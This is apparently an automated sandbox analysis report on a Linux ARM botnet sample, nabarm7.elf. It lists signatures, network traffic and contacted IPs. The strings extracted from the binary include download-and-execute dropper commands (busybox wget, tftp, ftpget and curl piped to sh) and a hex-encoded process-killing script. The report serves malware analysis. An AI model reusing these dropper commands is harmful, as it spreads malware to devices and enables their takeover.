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Linux Analysis Report
nabarm7.elf

Overview

General Information

Sample name:	nabarm7.elf
Analysis ID:	1564429
MD5:	b45ea3a0e06a983a4f55ab2cd3516196
SHA1:	68f11e8975a7322ca5eaa8f211dceb2846311d2a
SHA256:	eb0cd14393cd78f767c3dd8b8e537be1781aca9dc0b0ce8124fc803078df0d58
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564429
Start date and time:	2024-11-28 10:32:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabarm7.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/103@2/0

Runtime Messages

Command:	/tmp/nabarm7.elf
PID:	5488
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabarm7.elf (PID: 5488, Parent: 5415, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm7.elf

nabarm7.elf New Fork (PID: 5490, Parent: 5488)

nabarm7.elf New Fork (PID: 5492, Parent: 5490)

nabarm7.elf New Fork (PID: 5494, Parent: 5490)

nabarm7.elf New Fork (PID: 5496, Parent: 5490)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabarm7.elf

ReversingLabs: Detection: 36%

Source: nabarm7.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.213.187.247 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.248 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.14:58046 -> 154.213.187.247:38241
Source: global traffic	TCP traffic: 192.168.2.14:56180 -> 154.213.187.248:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 176.138.49.43
Source: unknown	TCP traffic detected without corresponding DNS query: 102.243.238.10
Source: unknown	TCP traffic detected without corresponding DNS query: 56.102.98.25
Source: unknown	TCP traffic detected without corresponding DNS query: 193.74.146.148
Source: unknown	TCP traffic detected without corresponding DNS query: 9.40.60.164
Source: unknown	TCP traffic detected without corresponding DNS query: 82.238.153.165
Source: unknown	TCP traffic detected without corresponding DNS query: 203.168.206.217
Source: unknown	TCP traffic detected without corresponding DNS query: 198.185.186.58
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.122.246
Source: unknown	TCP traffic detected without corresponding DNS query: 214.70.52.163
Source: unknown	TCP traffic detected without corresponding DNS query: 4.64.175.139
Source: unknown	TCP traffic detected without corresponding DNS query: 42.51.41.223
Source: unknown	TCP traffic detected without corresponding DNS query: 119.57.181.252
Source: unknown	TCP traffic detected without corresponding DNS query: 58.67.0.224
Source: unknown	TCP traffic detected without corresponding DNS query: 115.202.28.11
Source: unknown	TCP traffic detected without corresponding DNS query: 77.65.40.59
Source: unknown	TCP traffic detected without corresponding DNS query: 32.49.103.103
Source: unknown	TCP traffic detected without corresponding DNS query: 55.222.236.250
Source: unknown	TCP traffic detected without corresponding DNS query: 103.35.88.194
Source: unknown	TCP traffic detected without corresponding DNS query: 142.166.18.54
Source: unknown	TCP traffic detected without corresponding DNS query: 176.138.49.43
Source: unknown	TCP traffic detected without corresponding DNS query: 102.243.238.10
Source: unknown	TCP traffic detected without corresponding DNS query: 56.102.98.25
Source: unknown	TCP traffic detected without corresponding DNS query: 193.74.146.148
Source: unknown	TCP traffic detected without corresponding DNS query: 9.40.60.164
Source: unknown	TCP traffic detected without corresponding DNS query: 82.238.153.165
Source: unknown	TCP traffic detected without corresponding DNS query: 203.168.206.217
Source: unknown	TCP traffic detected without corresponding DNS query: 198.185.186.58
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.122.246
Source: unknown	TCP traffic detected without corresponding DNS query: 214.70.52.163
Source: unknown	TCP traffic detected without corresponding DNS query: 4.64.175.139
Source: unknown	TCP traffic detected without corresponding DNS query: 42.51.41.223
Source: unknown	TCP traffic detected without corresponding DNS query: 119.57.181.252
Source: unknown	TCP traffic detected without corresponding DNS query: 58.67.0.224
Source: unknown	TCP traffic detected without corresponding DNS query: 115.202.28.11
Source: unknown	TCP traffic detected without corresponding DNS query: 77.65.40.59
Source: unknown	TCP traffic detected without corresponding DNS query: 32.49.103.103
Source: unknown	TCP traffic detected without corresponding DNS query: 55.222.236.250
Source: unknown	TCP traffic detected without corresponding DNS query: 103.35.88.194
Source: unknown	TCP traffic detected without corresponding DNS query: 142.166.18.54
Source: unknown	TCP traffic detected without corresponding DNS query: 103.35.88.194
Source: unknown	TCP traffic detected without corresponding DNS query: 115.202.28.11
Source: unknown	TCP traffic detected without corresponding DNS query: 42.51.41.223
Source: unknown	TCP traffic detected without corresponding DNS query: 42.51.41.223
Source: unknown	TCP traffic detected without corresponding DNS query: 115.202.28.11
Source: unknown	TCP traffic detected without corresponding DNS query: 92.29.115.211
Source: unknown	TCP traffic detected without corresponding DNS query: 60.198.113.202
Source: unknown	TCP traffic detected without corresponding DNS query: 92.29.115.211
Source: unknown	TCP traffic detected without corresponding DNS query: 60.198.113.202
Source: unknown	TCP traffic detected without corresponding DNS query: 176.138.49.43

Source: nabarm7.elf	String found in binary or memory: http:///curl.sh
Source: nabarm7.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5520/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5520/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5521/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5521/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5519/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5519/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5522/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5522/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5523/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5523/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5524/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5524/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5525/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5525/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5515/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5515/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5516/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5516/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5527/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5517/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5517/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5528/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5518/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5518/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5529/cmdline	Jump to behavior
Source: /tmp/nabarm7.elf (PID: 5494)	File opened: /proc/5529/cmdline	Jump to behavior

Source: nabarm7.elf, 5488.1.000055f6c761b000.000055f6c776c000.rw-.sdmp, nabarm7.elf, 5492.1.000055f6c761b000.000055f6c7749000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nabarm7.elf, 5488.1.00007ffd03241000.00007ffd03262000.rw-.sdmp, nabarm7.elf, 5492.1.00007ffd03241000.00007ffd03262000.rw-.sdmp	Binary or memory string: BzUx86_64/usr/bin/qemu-arm/tmp/nabarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm7.elf
Source: nabarm7.elf, 5488.1.000055f6c761b000.000055f6c776c000.rw-.sdmp, nabarm7.elf, 5492.1.000055f6c761b000.000055f6c7749000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nabarm7.elf, 5488.1.00007ffd03241000.00007ffd03262000.rw-.sdmp, nabarm7.elf, 5492.1.00007ffd03241000.00007ffd03262000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabarm7.elf	false		high
http:///curl.sh	nabarm7.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
119.57.181.252	unknown	China	63691	HEZHONGBeijingwisdomnetworktechnologyCoLtdpolymeri	false
4.154.152.167	unknown	United States	3356	LEVEL3US	false
117.117.32.160	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
80.32.253.134	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
22.95.224.187	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
200.172.153.6	unknown	Brazil	4230	CLAROSABR	false
167.164.60.247	unknown	United States	59447	SAYFANETTR	false
9.160.12.233	unknown	United States	3356	LEVEL3US	false
206.2.123.153	unknown	United States	174	COGENT-174US	false
9.92.198.86	unknown	United States	3356	LEVEL3US	false
4.53.178.228	unknown	United States	3356	LEVEL3US	false
105.188.252.38	unknown	Morocco	36925	ASMediMA	false
204.47.124.174	unknown	United States	14298	EPA-NETUS	false
60.198.113.202	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
38.100.254.40	unknown	United States	174	COGENT-174US	false
88.82.249.172	unknown	Germany	39155	JETNETES	false
46.214.138.221	unknown	Romania	48161	NG-ASSosBucuresti-Ploiestinr42-44RO	false
142.223.96.252	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
158.169.110.90	unknown	Luxembourg	42848	EC-ASLU	false
15.183.143.255	unknown	United States	71	HP-INTERNET-ASUS	false
20.80.127.185	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
55.253.100.100	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
201.152.128.247	unknown	Mexico	8151	UninetSAdeCVMX	false
26.249.30.26	unknown	United States	7922	COMCAST-7922US	false
43.113.4.144	unknown	Japan	4249	LILLY-ASUS	false
174.80.167.134	unknown	United States	20115	CHARTER-20115US	false
26.41.40.219	unknown	United States	7922	COMCAST-7922US	false
175.250.13.206	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
122.28.253.26	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
57.164.195.43	unknown	Belgium	2686	ATGS-MMD-ASUS	false
42.51.41.223	unknown	China	56005	FASTIDCZhengzhouFastidcTechnologyCoLtdCN	false
151.90.119.122	unknown	Italy	12874	FASTWEBIT	false
81.148.4.141	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
130.67.115.64	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
184.126.52.64	unknown	United States	7922	COMCAST-7922US	false
80.36.187.24	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
98.19.102.5	unknown	United States	7029	WINDSTREAMUS	false
105.196.193.12	unknown	Egypt	24835	RAYA-ASEG	false
104.172.190.255	unknown	United States	20001	TWC-20001-PACWESTUS	false
50.26.88.49	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
19.119.196.155	unknown	United States	3	MIT-GATEWAYSUS	false
116.50.136.102	unknown	Philippines	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
103.144.122.246	unknown	unknown	131958	T-NETTamaCableNetworkCoLtdJP	false
209.209.42.147	unknown	Reserved	6364	ATLANTIC-NET-1US	false
106.176.41.84	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
197.71.70.28	unknown	South Africa	16637	MTNNS-ASZA	false
24.135.64.182	unknown	Serbia	31042	SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	false
214.70.52.163	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
94.87.90.87	unknown	Italy	3269	ASN-IBSNAZIT	false
143.212.171.64	unknown	United States	1602	DNIC-AS-01602US	false
125.118.39.159	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
165.125.20.176	unknown	United States	103	NWU-ASUS	false
4.64.175.139	unknown	United States	3356	LEVEL3US	false
92.29.115.211	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
48.198.0.5	unknown	United States	2686	ATGS-MMD-ASUS	false
125.39.55.155	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
200.28.217.10	unknown	Chile	7418	TELEFONICACHILESACL	false
40.192.109.112	unknown	United States	4249	LILLY-ASUS	false
86.110.140.155	unknown	Italy	21309	CASAWEB-ASViaMolinoRosso8IMOLABOITALYIT	false
77.21.126.178	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
156.98.18.96	unknown	United States	1998	STATE-OF-MNUS	false
161.73.126.172	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
97.184.10.173	unknown	United States	6167	CELLCO-PARTUS	false
6.198.177.213	unknown	United States	3356	LEVEL3US	false
43.190.164.169	unknown	Japan	4249	LILLY-ASUS	false
65.202.132.116	unknown	United States	701	UUNETUS	false
185.155.203.156	unknown	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
113.46.48.164	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
84.38.155.28	unknown	Norway	41164	GET-NOGETNorwayNO	false
179.204.83.62	unknown	Brazil	26615	TIMSABR	false
75.142.23.85	unknown	United States	20115	CHARTER-20115US	false
143.237.178.165	unknown	Sweden	199902	SE-LMSE	false
111.167.7.71	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
70.35.251.63	unknown	United States	33362	WIKTELUS	false
59.181.46.115	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
30.63.108.193	unknown	United States	7922	COMCAST-7922US	false
8.127.169.63	unknown	United States	3356	LEVEL3US	false
184.196.192.176	unknown	United States	10507	SPCSUS	false
28.234.157.105	unknown	United States	7922	COMCAST-7922US	false
203.168.206.217	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
191.244.115.124	unknown	Brazil	22085	ClaroSABR	false
72.50.185.121	unknown	United States	12118	WVUUS	false
195.78.236.182	unknown	Poland	51619	CITYPARTNERPL	false
117.89.73.97	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
211.53.235.152	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
103.35.88.194	unknown	New Zealand	18400	XTREME-AS-APXtremeNetworksLimitedNZ	false
129.216.103.109	unknown	United States	25019	SAUDINETSTC-ASSA	false
134.47.170.234	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
137.255.99.32	unknown	Benin	28683	BENINTELECOMBJ	false
141.180.198.218	unknown	United States	197921	HBTFJO	false
165.27.237.172	unknown	United States	14381	CATERPILLAR-INCUS	false
82.209.140.27	unknown	Sweden	29518	BREDBAND2SE	false
13.197.175.85	unknown	United States	7018	ATT-INTERNET4US	false
32.49.103.103	unknown	United States	7018	ATT-INTERNET4US	false
109.231.83.177	unknown	United Kingdom	61226	FLEXISCALE-ASGB	false
43.60.242.165	unknown	Japan	4249	LILLY-ASUS	false
113.198.27.31	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
79.149.76.130	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
142.166.18.54	unknown	Canada	855	CANET-ASN-4CA	false
217.46.13.52	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNIX-APChinaNetworksInter-ExchangeCN	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	58.133.224.138
	botx.arm.elf	Get hash	malicious	Mirai	Browse	36.121.68.230
	nabm68k.elf	Get hash	malicious	Unknown	Browse	118.225.231.148
	nabsh4.elf	Get hash	malicious	Unknown	Browse	58.130.132.158
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	60.247.125.180
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	118.226.24.159
	bin.sh.elf	Get hash	malicious	Mirai	Browse	115.122.131.6
	arm7.elf	Get hash	malicious	Mirai	Browse	117.115.137.133
	spc.elf	Get hash	malicious	Mirai	Browse	117.115.137.133
	sh4.elf	Get hash	malicious	Unknown	Browse	58.128.232.56
HEZHONGBeijingwisdomnetworktechnologyCoLtdpolymeri	skyljnee.mpsl-20240128-0910.elf	Get hash	malicious	Mirai	Browse	119.57.29.8
	E-Syariah_1.0.2.apk	Get hash	malicious	Unknown	Browse	103.233.160.189
	E-Syariah_1.0.2.apk	Get hash	malicious	Unknown	Browse	103.233.160.189
	mirai.arm7.elf	Get hash	malicious	Mirai	Browse	119.57.103.149
	bMxIiyzuq1.elf	Get hash	malicious	Unknown	Browse	119.57.238.142
	file.exe	Get hash	malicious	Unknown	Browse	103.233.161.81
	file.exe	Get hash	malicious	Unknown	Browse	103.233.161.81
	file.exe	Get hash	malicious	Unknown	Browse	103.233.161.83
	WkV3itGeZw.elf	Get hash	malicious	Mirai, Moobot	Browse	119.57.103.176
	rq3rrTFT5f.dll	Get hash	malicious	Wannacry	Browse	119.57.193.55
LEVEL3US	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	7.79.247.156
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	65.90.119.109
	nabspc.elf	Get hash	malicious	Unknown	Browse	8.200.7.161
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	9.119.162.47
	botx.arm.elf	Get hash	malicious	Mirai	Browse	149.138.74.128
	nabm68k.elf	Get hash	malicious	Unknown	Browse	206.35.26.109
	nabppc.elf	Get hash	malicious	Unknown	Browse	11.172.225.198
	nabmips.elf	Get hash	malicious	Unknown	Browse	7.23.41.195
	nabsh4.elf	Get hash	malicious	Unknown	Browse	9.59.241.123
	nabarm.elf	Get hash	malicious	Unknown	Browse	7.120.113.192
TELEFONICA_DE_ESPANAES	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	81.35.25.115
	botx.arm.elf	Get hash	malicious	Mirai	Browse	83.62.12.185
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	88.4.213.235
	nabm68k.elf	Get hash	malicious	Unknown	Browse	88.27.39.158
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	79.145.21.186
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	83.36.146.49
	debug.elf	Get hash	malicious	Mirai	Browse	176.86.239.86
	x86.elf	Get hash	malicious	Mirai	Browse	83.49.211.132
	m68k.elf	Get hash	malicious	Mirai	Browse	83.42.194.227
	sh4.elf	Get hash	malicious	Mirai	Browse	83.54.108.45

Process:	/tmp/nabarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1723190736726976
Encrypted:	false
SSDEEP:	3:FVbQ9FQWUT5FFNFkF/VVp3FQWUT5FFNFiiXWY/VVdf/FVLADsVHI1v/VVdf/FVWU:ZDF0/VWDFfXWY/VjmsVot/VOArB/VH
MD5:	5A9E890AD6B6A0AF03686F379799F490
SHA1:	8D760B0AD61DDB8DF80D89425A0DD5CEB67433DA
SHA-256:	FF57B21BEAB825A064F53094A04BD6F0F15BD24A8968906A2692FBCDF85890A2
SHA-512:	772457EA0A8FC113545C9F819FBEE047B9A89E798557AB4519054E29E9BE6D71010B2D61A8CF25DC7D06FE101F9C23A53E1DCF2AFFD2F91A9786F9305FEB834D
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-26000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Process:	/tmp/nabarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1723190736726976
Encrypted:	false
SSDEEP:	3:FVbQ9FQWUT5FFNFkF/VVp3FQWUT5FFNFiiXWY/VVdf/FVLADsVHI1v/VVdf/FVWU:ZDF0/VWDFfXWY/VjmsVot/VOArB/VH
MD5:	5A9E890AD6B6A0AF03686F379799F490
SHA1:	8D760B0AD61DDB8DF80D89425A0DD5CEB67433DA
SHA-256:	FF57B21BEAB825A064F53094A04BD6F0F15BD24A8968906A2692FBCDF85890A2
SHA-512:	772457EA0A8FC113545C9F819FBEE047B9A89E798557AB4519054E29E9BE6D71010B2D61A8CF25DC7D06FE101F9C23A53E1DCF2AFFD2F91A9786F9305FEB834D
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-26000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Process:	/tmp/nabarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1723190736726976
Encrypted:	false
SSDEEP:	3:FVbQ9FQWUT5FFNFkF/VVp3FQWUT5FFNFiiXWY/VVdf/FVLADsVHI1v/VVdf/FVWU:ZDF0/VWDFfXWY/VjmsVot/VOArB/VH
MD5:	5A9E890AD6B6A0AF03686F379799F490
SHA1:	8D760B0AD61DDB8DF80D89425A0DD5CEB67433DA
SHA-256:	FF57B21BEAB825A064F53094A04BD6F0F15BD24A8968906A2692FBCDF85890A2
